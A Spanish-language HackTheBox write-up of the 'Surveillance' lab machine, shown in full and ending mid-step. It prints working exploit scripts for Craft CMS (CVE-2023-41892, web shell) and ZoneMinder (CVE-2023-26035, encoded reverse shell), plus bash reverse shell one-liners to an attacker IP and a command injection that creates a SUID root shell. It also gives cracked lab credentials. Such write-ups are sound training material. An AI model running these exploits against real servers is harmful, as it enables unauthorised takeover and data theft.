Surveillance – HackTheBox Link to heading
- OS: Linux
- Dificultad: Medium / Media
- Plataforma: HackTheBox
Usuario Link to heading
El scan deNmap
sólo muestra 2 puertos abiertos: 22
SSH
y 80
HTTP
.
❯ sudo nmap -sVC -p22,80 10.10.11.245 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 17:52 -04
Nmap scan report for 10.10.11.245
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds
Si intentamos visitar la web HTTP
corriendo por el puerto 80
en http://10.10.11.245
, somos redirigidos a http://surveillance.htb
y la página no carga. Por esta simple razón agregamos surveillance.htb
a nuestro archivo /etc/hosts
corriendo el comando:
❯ sudo echo '10.10.11.245 surveillance.htb' >> /etc/hosts
Una vez agregado el dominio a nuestro archivo /etc/hosts
, si volvemos a visitar http://surveillance.htb
ahora sí podemos ver la página web:
Muchos de los botones en esta página no funcionan, de manera que sospecho que no hay nada interesante que ver aquí.
Noto que si visito /index.php
éste muestra el sitio por defecto, de manera que asumo que el sitio está corriendo con PHP
. Si intento un Brute Force Directory Listing
(encontrar directorios con fuerza bruta) usando Gobuster
, buscando también por archivos .php
, encuentro algunos directorios:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://surveillance.htb -t 55 -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://surveillance.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/images (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/index (Status: 200) [Size: 1]
/index.php (Status: 200) [Size: 16230]
/admin (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/js (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p1 (Status: 200) [Size: 16230]
/fonts (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/p3 (Status: 200) [Size: 16230]
/p2 (Status: 200) [Size: 16230]
y encuentro un directorio interesante: /admin
que redirige al directorio /admin/login
. Hay muchísimos directorios llamados p<número>
como p1
, p20
y así… pero todos ellos redirigen a index.php
(el sitio por defecto), de manera que los descarto.
Entonces si visitamos http://surveillance.htb/admin/login
este sitio muestra otro panel de login:
De manera que el sitio está corriendo Craft CMS
, un Content Management System
–abreviado comúnmente como CMS
– (como lo sería, por ejemplo, WordPress
).
Si busco por exploits para este CMS
usando SearchSploit
puedo encontrar algunos:
❯ searchsploit craft cms
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting | php/webapps/46496.txt
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Temp | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execut | php/webapps/48492.py
craftercms 4.x.x - CORS | multiple/webapps/51313.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
No obstante, de momento no tengo la versión de éste.
Si le doy una ojeada al código fuente de http://surveillance.htb
se puede ver algo:
de manera que asumo que la versión de Craft CMS
es 4.4.14
, la cual tristemente no está en los exploits mostrados por SearchSploit
.
Pero si googleo Craft CMS 4.4 exploit
encuentro que hay una vulnerabilidad catalogada como CVE-2023-41892
. De aquí encuentro 2 sitios interesantes. Uno es un exploit de exploit-db
(https://www.exploit-db.com/exploits/51918) y el otro es de este post de Github. Decido usar este último, el cual es:
import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}
def writePayloadToTempFile(documentRoot):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/shell.php">
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})
def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data)
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)
def trigerImagick(tmpDir):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
def shell(cmd):
response = requests.get(url + "/shell.php", params={"cmd": cmd})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)
Si corro el script no pasa nada:
❯ python3 CVE_2023_41892.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Crash the php process and write temp file successfully
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$ whoami
De manera que decido investigar y veo que en este post de Github, y también en este post, muestran un PoC levemente diferente, pero ellos usan un proxy
con Burpsuite
para hacerlo funcionar:
Para arreglar esto, para cada línea que tenga la variable response
, tenemos que agregar un proxy htttp://127.0.0.1:8080
. Burpsuite
, por defecto, intercepta requests por el puerto 8080
en nuestra máquina. De manera que agregar esto hará que nuestro request del script de Python
vaya a través de Burpsuite
. Para esto cambio las líneas que están definidas como, por ejemplo:
response = requests.get(url + "/shell.php", params={"cmd": cmd})
a
response = requests.get(url + "/shell.php", params={"cmd": cmd}, proxies={"http", "http://127.0.0.1:8080"})
Y esto lo hacemos para cada vareable que esté seteada con response.get
y response.post
.
De manera que el código final que corre junto con Burpsuite
se ve finalmente como:
import requests
import re
import sys
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}
def writePayloadToTempFile(documentRoot):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/cpresources/shell.php">
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}
response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://127.0.0.1:8080"})
def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)
def trigerImagick(tmpDir):
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})
def shell(cmd):
response = requests.get(base_url + "/cpresources/shell.php", params={"cmd": cmd}, proxies={"http": "http://127.0.0.1:8080"})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text
if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
base_url = 'http://surveillance.htb'
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")
print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass
print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)
Antes de volver a correr el script modificado, abro Burpsuite
y voy a Proxy -> Intercept -> Intercept On
. Primero, intenté esto contra la página http://surveillance.htb/admin/login
, dado que el panel de login Craft CMS
estaba expuesto en ese directorio. Y si corro el script:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login
Puedo ver que Burpsuite
intercepta exitosamente el request hecho por el script de python3
:
y, luego de esto, es sólo clickear en Forward
a medida que el script hace las requests/peticiones.
Sin embargo, al final noto que el script vuelve a fallar:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/admin/login
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
$
Si chequeo el historial de Burpsuite
(Proxy -> Intercept -> HTTP History
) noto un código 502 Bad Gateway
, es decir, estamos tratando de hacer una petición POST
a un endpoint que no existe.
De manera que, en lugar de http://surveillance.htb/admin/login
simplemente trato con la url http://surveillance.htb
y ahora sí funciona (y luego de volver a repetir los pasos con Burpsuite
explicados anteriormente):
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Empiezo un listener con nc
en el puerto 443
y, luego, en la shell del script corro el comando bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'
, de manera que éste se ve como:
❯ python3 CVE_2023_41892_modified.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'
y en mi listener de nc
obtengo una reverse shell:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 44376
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
www-data@surveillance:~/html/craft/web/cpresources$ whoami
whoami
www-data
Una vez dentro de la máquina noto que soy el usuario www-data
. Además, puedo ver otros dos usuarios: matthew
y zoneminder
:
www-data@surveillance:~/html/craft/web/cpresources$ ls /home
matthew zoneminder
Buscando y buscando, al buscar por archivos con la palabra back
(de backup
) en /var/www/html/craft
puedo ver algo:
www-data@surveillance:~/html/craft$ find . -name "*back*" 2>/dev/null
./storage/backups
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md
./vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html
./vendor/voku/arrayy/src/TypeCheck/TypeCheckCallback.php
./vendor/voku/anti-xss/src/voku/helper/data/entities_fallback.php
./vendor/nette/utils/src/Utils/Callback.php
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/callback.twig
./vendor/craftcms/cms/src/templates/plugin-store/_special/oauth/modal-callback.twig
./vendor/craftcms/cms/src/web/assets/dbbackup
./vendor/craftcms/cms/src/web/twig/nodes/FallbackNameExpression.php
./vendor/craftcms/cms/src/imagetransforms/FallbackTransformer.php
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/utilities/_background.scss
./vendor/yiisoft/yii2-debug/src/assets/scss/bs-4.3.1/mixins/_background-variant.scss
./vendor/monolog/monolog/src/Monolog/Handler/FallbackGroupHandler.php
De manera que hay un directorio /var/www/html/craft/storage/backups
que se ve prometedor. Dentro del directorio si veo el contenido de éste tenemos un archivo .zip
:
www-data@surveillance:~/html/craft/storage/backups$ ls -la
total 28
drwxrwxr-x 2 www-data www-data 4096 Oct 17 2023 .
drwxr-xr-x 6 www-data www-data 4096 Oct 11 2023 ..
-rw-r--r-- 1 root root 19918 Oct 17 2023 surveillance--2023-10-17-202801--v4.4.14.sql.zip
Dado que el servidor víctima tiene python3
instalado, me aprovecho de esto para empezar un servidor Python
HTTP
temportal en el puerto 8000
de la máquina víctima, exponer el archivo del backup y descargarlo. De manera que en la máquina víctima corremos:
www-data@surveillance:~/html/craft/storage/backups$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
y lo paso a mí máquina de atacante corriendo el comando wget
:
❯ wget http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
--2024-04-18 20:12:54-- http://surveillance.htb:8000/surveillance--2023-10-17-202801--v4.4.14.sql.zip
Resolving surveillance.htb (surveillance.htb)... 10.10.11.245
Connecting to surveillance.htb (surveillance.htb)|10.10.11.245|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19918 (19K) [application/zip]
Saving to: ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’
surveillance--2023-10-17-202801--v4.4.14.s 100%[=======================================================================================>] 19.45K 75.1KB/s in 0.3s
2024-04-18 20:12:54 (75.1 KB/s) - ‘surveillance--2023-10-17-202801--v4.4.14.sql.zip’ saved [19918/19918]
Luego, en mi máquina de atacante, –y luego de descomprimir el archivo con unzip
– simplemente leo este archivo .sql
con cat
y hay un montón de output. Pero dentro de tanto output hay algo que llama mi atención:
❯ cat surveillance--2023-10-17-202801--v4.4.14.sql | grep -i "matthew"
INSERT INTO `searchindex` VALUES (1,'email',0,1,' admin surveillance htb '),(1,'firstname',0,1,' matthew '),(1,'fullname',0,1,' matthew b '),(1,'lastname',0,1,' b '),(1,'slug',0,1,''),(1,'username',0,1,' admin '),(2,'slug',0,1,' home '),(2,'title',0,1,' home '),(7,'slug',0,1,' coming soon '),(7,'title',0,1,' coming soon ');
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
se ve como un hash.
Guardo este hash y lo paso a Crackstation
(https://crackstation.net/) para intentar un Brute Force Password Cracking
(crackear la contraseña por fuereza bruta):
y encontramos una contraseña: starcraft122490
Chequeo con NetExec
(el sucesor de CrackMapExec
) si tengo acceso al usuario matthew
via SSH
y la tenemos:
❯ netexec ssh 10.10.11.245 -u 'matthew' -p 'starcraft122490'
SSH 10.10.11.245 22 10.10.11.245 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4
SSH 10.10.11.245 22 10.10.11.245 [+] matthew:starcraft122490 (non root) Linux - Shell access!
De manera que podemos acceder via SSH
con las credenciales matthew:starcraft122490
a la máquina víctima, donde podemos obtener la flag de usuario en el home de matthew
.
Root Link to heading
Una vez dentro, si busco por puertos abiertos, puedo ver un par de puertos que no estaban previamente expuestos por el scan de Nmap
:
matthew@surveillance:~$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
De manera que tenemos un servicio MySQL
corriendo en el puerto 3306
(como es usual), y algo corriendo en el puerto 8080
(usualmente usado para servicios web).
Para chequear si es un servicio que puede ser visitado a través de un browser de internet como Firefox
, personalmente me gusta usar primero cURL
y ver el output:
matthew@surveillance:~$ curl -s http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ZM - Login</title>
<SNIP>
var failed = false;
</script>
<script src="skins/classic/views/js/login.js"></script>
<script src="skins/classic/js/skin.js"></script>
<script src="js/logger.js"></script>
<script nonce="f3e94bd4e8a1388222a111d79663f97d">$j('.chosen').chosen();</script>
<script nonce="f3e94bd4e8a1388222a111d79663f97d">CsrfMagic.end();</script></body>
</html>
Si no hubiera output, o si curl
hubiese lanzado un error, asumo que no es un sitio web o similar. Pero dado que sí tenemos output, sospecho entonces que sí es un sitio web.
Pero este servicio no está disponible fuera de la máquina. Sólo internamente, y dado que tenemos credentiales por SSH
, intentaré un Local Port Forwarding
para jugar con los puertos. Cierro la sesión de SSH
, y me re conecto a la máquina via SSH
, pero esta vez agregando al conectarnos la opción -L 1234:127.0.0.1:8080
:
❯ sshpass -p 'starcraft122490' ssh -o stricthostkeychecking=no -L 1234:127.0.0.1:8080 matthew@10.10.11.245
Con esto convierto mi puerto local 1234
en el puerto 8080
de la máquina víctima.
De manera que ahora abro un browser de internet (en mi caso uso Firefox
) y visito http://127.0.0.1:1234
. Y puedo ver una página web:
Aparentemente, este sitio está corriendo ZoneMinder
ZoneMinder
es un software gratuito, open-source, para monitoreo.Para chequear la version de éste podemos correr:
matthew@surveillance:~$ dpkg -l | grep zoneminder
hi zoneminder 1.36.32+dfsg1-1 amd64 video camera security and surveillance solution
de manera que la versión es 1.36.32
.
- Usando
SearchSploit
busco por exploits paraZoneMinder
:
❯ searchsploit zoneminder
-------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------- ---------------------------------
ZoneMinder 1.24.3 - Remote File Inclusion | php/webapps/17593.txt
Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injec | php/webapps/41239.txt
ZoneMinder 1.32.3 - Cross-Site Scripting | php/webapps/47060.txt
Zoneminder < v1.37.24 - Log Injection & Stored XSS & CS | php/webapps/51071.py
ZoneMinder Snapshots < 1.37.33 - Unauthenticated RCE | php/webapps/51902.py
ZoneMinder Video Server - packageControl Command Execut | unix/remote/24310.rb
-------------------------------------------------------- ---------------------------------
Shellcodes: No Results
El exploit 51902
se ve prometedor, dado que se ajusta a nuestra versión.
El exploit en sí es:
import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64
# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"
ZoneMinderExploit(args.target_url).exploit(payload)
el cual manda una reverse shell a una IP y puerto dado.
Mirando el código del exploit tenemos que sí o sí correrlo en nuestra máquina de atacante. Esto porque el script pide la librería BeautifulSoap
, la cual no viene por defecto instalada con python3
(y no hay manera de instalarla en la máquina víctima sin ser root
, ni menos sin conexión a internet como lo son las máquinas de HTB). En realidad esto no presenta ningún problema gracias al Local Port Forwarding
que habíamos establecido previamente.
De manera que, en otra shell/terminal, empezamos otro listener con nc
en el puerto 443
y corremos:
❯ python3 zoneminder_snapshot_unauth_rce.py -t http://127.0.0.1:1234 -ip 10.10.16.6 -p 443
[>] fetching csrt token
[>] recieved the token: key:0bfb5b839801ff10b9a9a6d91775fcd0e69aeecc,1713488472
[>] executing...
[>] sending payload..
y en mi listener de nc
obtengo:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.245] 43902
bash: cannot set terminal process group (1086): Inappropriate ioctl for device
bash: no job control in this shell
zoneminder@surveillance:/usr/share/zoneminder/www$ whoami
whoami
zoneminder
Pero ahora como el usuario zoneminder
. Una vez como este usuario, puedo ver que éste puede correr comandos con sudo
sin proporcionar contraseña:
zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zoneminder may run the following commands on surveillance:
(ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
Básicamente, podemos correr cualquier script de Perl
(que termine con .pl
), que comience con zm
, luego contenga letras y que se encuentre dentro del directorio /usr/bin
. Como éste sólo acepta letras luego de /usr/bin/zm
, no podemos inyectar algo como ../
(de manera que tratar de correr sudo /usr/bin/zm/../../../../../../../script_malicoso.pl
no funcionará). Viendo qué podemos correr tenemos:
zoneminder@surveillance:/usr/share/zoneminder/www$ find /usr/bin -name "zm*.pl" -exec ls -la {} \; 2>/dev/null
-rwxr-xr-x 1 root root 5340 Nov 23 2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root 13994 Nov 23 2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root 6043 Nov 23 2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root 5640 Nov 23 2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root 8205 Nov 23 2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 13111 Nov 23 2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 2133 Nov 23 2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root 19386 Nov 23 2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root 7022 Nov 23 2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root 26232 Nov 23 2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root 4815 Nov 23 2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 18482 Nov 23 2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root 19655 Nov 23 2022 /usr/bin/zmx10.pl
-rwxr-xr-x 1 root root 35206 Nov 23 2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 12939 Nov 23 2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 43027 Nov 23 2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root 45421 Nov 23 2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 17492 Nov 23 2022 /usr/bin/zmrecover.pl
de manera que podemos correr cualquiera de estos archivos como el usuario root
.
Luego de jugar con algunos archivos, encuentro el archivo /usr/bin/zmupdate.pl
. Si simplemente lo corremos tenemos que no pasa nada:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl
Database already at version 1.36.32, update skipped.
pero chequeando por opciones/argumentos que el script recibe tenemos que:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --help
Unknown option: help
Usage:
zmupdate.pl -c,--check | -f,--freshen | -v<version>,--version=<version>
[-u <dbuser> -p <dbpass>]
Options:
-c, --check - Check for updated versions of ZoneMinder -f, --freshen -
Freshen the configuration in the database. Equivalent of old zmconfig.pl
-noi --migrate-events - Update database structures as per
USE_DEEP_STORAGE setting. -v <version>, --version=<version> - Force
upgrade to the current version from <version> -u <dbuser>,
--user=<dbuser> - Alternate DB user with privileges to alter DB -p
<dbpass>, --pass=<dbpass> - Password of alternate DB user with
privileges to alter DB -s, --super - Use system maintenance account on
debian based systems instead of unprivileged account -d <dir>,
--dir=<dir> - Directory containing update files if not in default build
location -interactive - interact with the user -nointeractive - do not
interact with the user
incluso si la opción --help
no existe, sí me ayudó. Hay una flag -v
o --version
la cual pregunta por una version. Si usamos --version 1
el script corre, pero al final tira un error:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
<SNIP>
Upgrading DB to 1.30.1 from 1.26.0
ERROR 1136 (21S01) at line 8: Column count doesn't match value count at row 1
Output:
Command 'mysql -uzmuser -p'ZoneMinderPassword2023' -hlocalhost zm < /usr/share/zoneminder/db/zm_update-1.30.1.sql' exited with status: 1
Noto que también el script pregunta por un usuario y contraseña (posiblemente de la database que updatea). Luego de jugar, si paso un usuario y contraseña que en realidad sean comandos, hay un output que lo está interpretando:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(id)' -p='$(whoami)'
Initiating database upgrade to version 1.36.32 from version 1
WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user 'uid=0(root)'@'localhost'" when trying to connect
Output:
<SNIP>
de manera que el código en la flag --user
está siendo interpretado.
Por ende, decido inyectar:
zoneminder@surveillance:/tmp$ sudo /usr/bin/zmupdate.pl --version 1 --user='$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x)' -p='$(whoami)'
Initiating database upgrade to version 1.36.32 from version 1
